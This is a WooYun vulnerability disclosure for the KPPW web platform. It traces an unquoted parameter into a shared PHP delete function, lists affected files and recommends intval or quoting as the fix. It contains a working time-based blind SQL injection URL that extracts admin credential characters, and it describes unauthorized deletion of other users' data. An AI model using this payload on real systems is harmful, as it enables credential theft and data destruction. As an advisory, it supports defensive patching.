当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-086270

漏洞标题:KPPW最新版SQL注入漏洞四(同一问题引发多处注入及越权含分析)

相关厂商:keke.com

漏洞作者: xfkxfk

提交时间:2014-12-07 19:35

修复时间:2015-03-07 19:36

公开时间:2015-03-07 19:36

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-07: 细节已通知厂商并且等待厂商处理中
2014-12-08: 厂商已经确认,细节仅向厂商公开
2014-12-11: 细节向第三方安全合作伙伴开放
2015-02-01: 细节向核心白帽子及相关领域专家公开
2015-02-11: 细节向普通白帽子公开
2015-02-21: 细节向实习白帽子公开
2015-03-07: 细节向公众公开

简要描述:

KPPW最新版SQL注入漏洞四(同一问题引发多处注入及越权)

详细说明:

KPPW最新版SQL注入漏洞四(同一问题引发多处注入及越权)
文件/control/user/account_report.php

$objReportT = keke_table_class::get_instance('witkey_report');
if (isset ( $action )) {
switch ($action) {
case 'mulitDel' :
if ($ckb) {
$objTaskT->del ( 'task_id', $ckb );
kekezu::show_msg ( '删除成功', $strUrl, NULL, NULL, 'ok' );
} else {
kekezu::show_msg ( '删除失败', NULL, NULL, NULL, 'error' );
}
break;


在$objTaskT->del ( 'task_id', $ckb );中,$ckb进入了del函数
跟着del函数,文件/lib/inc/keke_table_class.php

function del($pk, $val, $url = null) {
if (! $val) {
return false;
}
if (is_array ( $val ) && ! empty ( $val )) {
$ids = implode ( ',', $val );
$this->_table_obj->setWhere ( " $pk in ($ids)" );
} elseif ($val) {
$this->_table_obj->setWhere ( "$pk = " . $val );
}
$del_query = "del_" . $this->_pre . $this->_table_name;
return $this->_table_obj->$del_query ();
}


可以看到这里的val,既是ckb变量
当val不为空,且不为数字时,直接进入where条件语句中,切勿引号保护,导致sql注入

这里有一个bug:
del函数是/lib/inc/keke_table_class.php文件中的函数
但是在这里/lib/inc/keke_table_class.php文件实例化为:
$objReportT = keke_table_class::get_instance('witkey_report');
而$objTaskT这里是没有初始化的对象
导致无法触发这里的del函数


还有同意问题在文件/control/user/account_rights.php
因为这里的函数del,在文件/lib/inc/keke_table_class.php中,为一个全局的函数
很多地方都会调用:

3.png


这里后台触发就不管了(话说后天漏洞真是没人管。。。)
前台的一共有二十多个触发点和文件
部分过滤处理了
还剩下多出个可以出发的

/control/user/message_detail.php
/control/user/message_notice.php
/control/user/message_private.php
/control/user/shop_caselist.php
/control/user/transaction_released.php
/control/user/transaction_service.php


这里已/control/user/transaction_service.php为例:

$strModelName = $kekezu->_model_list[$intModelId]['model_code'];
$arrStatus = call_user_func ( array ($strModelName.'_shop_class', 'get_'.$strModelName.'_status') );
$objServiceT = keke_table_class::get_instance('witkey_service');
if (isset ( $action )) {
switch ($action) {
case 'mulitDel' :
if ($ckb) {
$objServiceT->del ( 'service_id', $ckb );
kekezu::show_msg ( '删除成功', $strUrl, NULL, NULL, 'ok' );
} else {
kekezu::show_msg ( '删除失败', NULL, NULL, NULL, 'error' );
}
break;


同意存在注入
二期这里在删除各种数据时,只根据id进行删除,没有判断用户属性,导致越权操作
删除任意用户权限下的内容
这里包括删除管理员创建的模块和数据都可以删除

漏洞证明:

SQL注入:

http://localhost/KPPW2520141118UTF-8/index.php?do=user&view=transaction&op=service&action=mulitDel&ckb=1161 and 1=if(mid((select concat(username,password) from keke_witkey_member limit 0,1),1,1)=char(97),sleep(5),2)


看看SQL执行结果:

2.png


这里会延迟5秒后返回

1.png


说明UserName+password的第一个字符是a
这里的cbk就是服务模块的service_id
这里的cbk=1161是admin用户创建的模块,也是可以删除的,导致越权操作

修复方案:

加intval或者单引号保护即可

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-12-08 16:08

厂商回复:

感谢您的支持,我们会尽快处理

最新状态:

暂无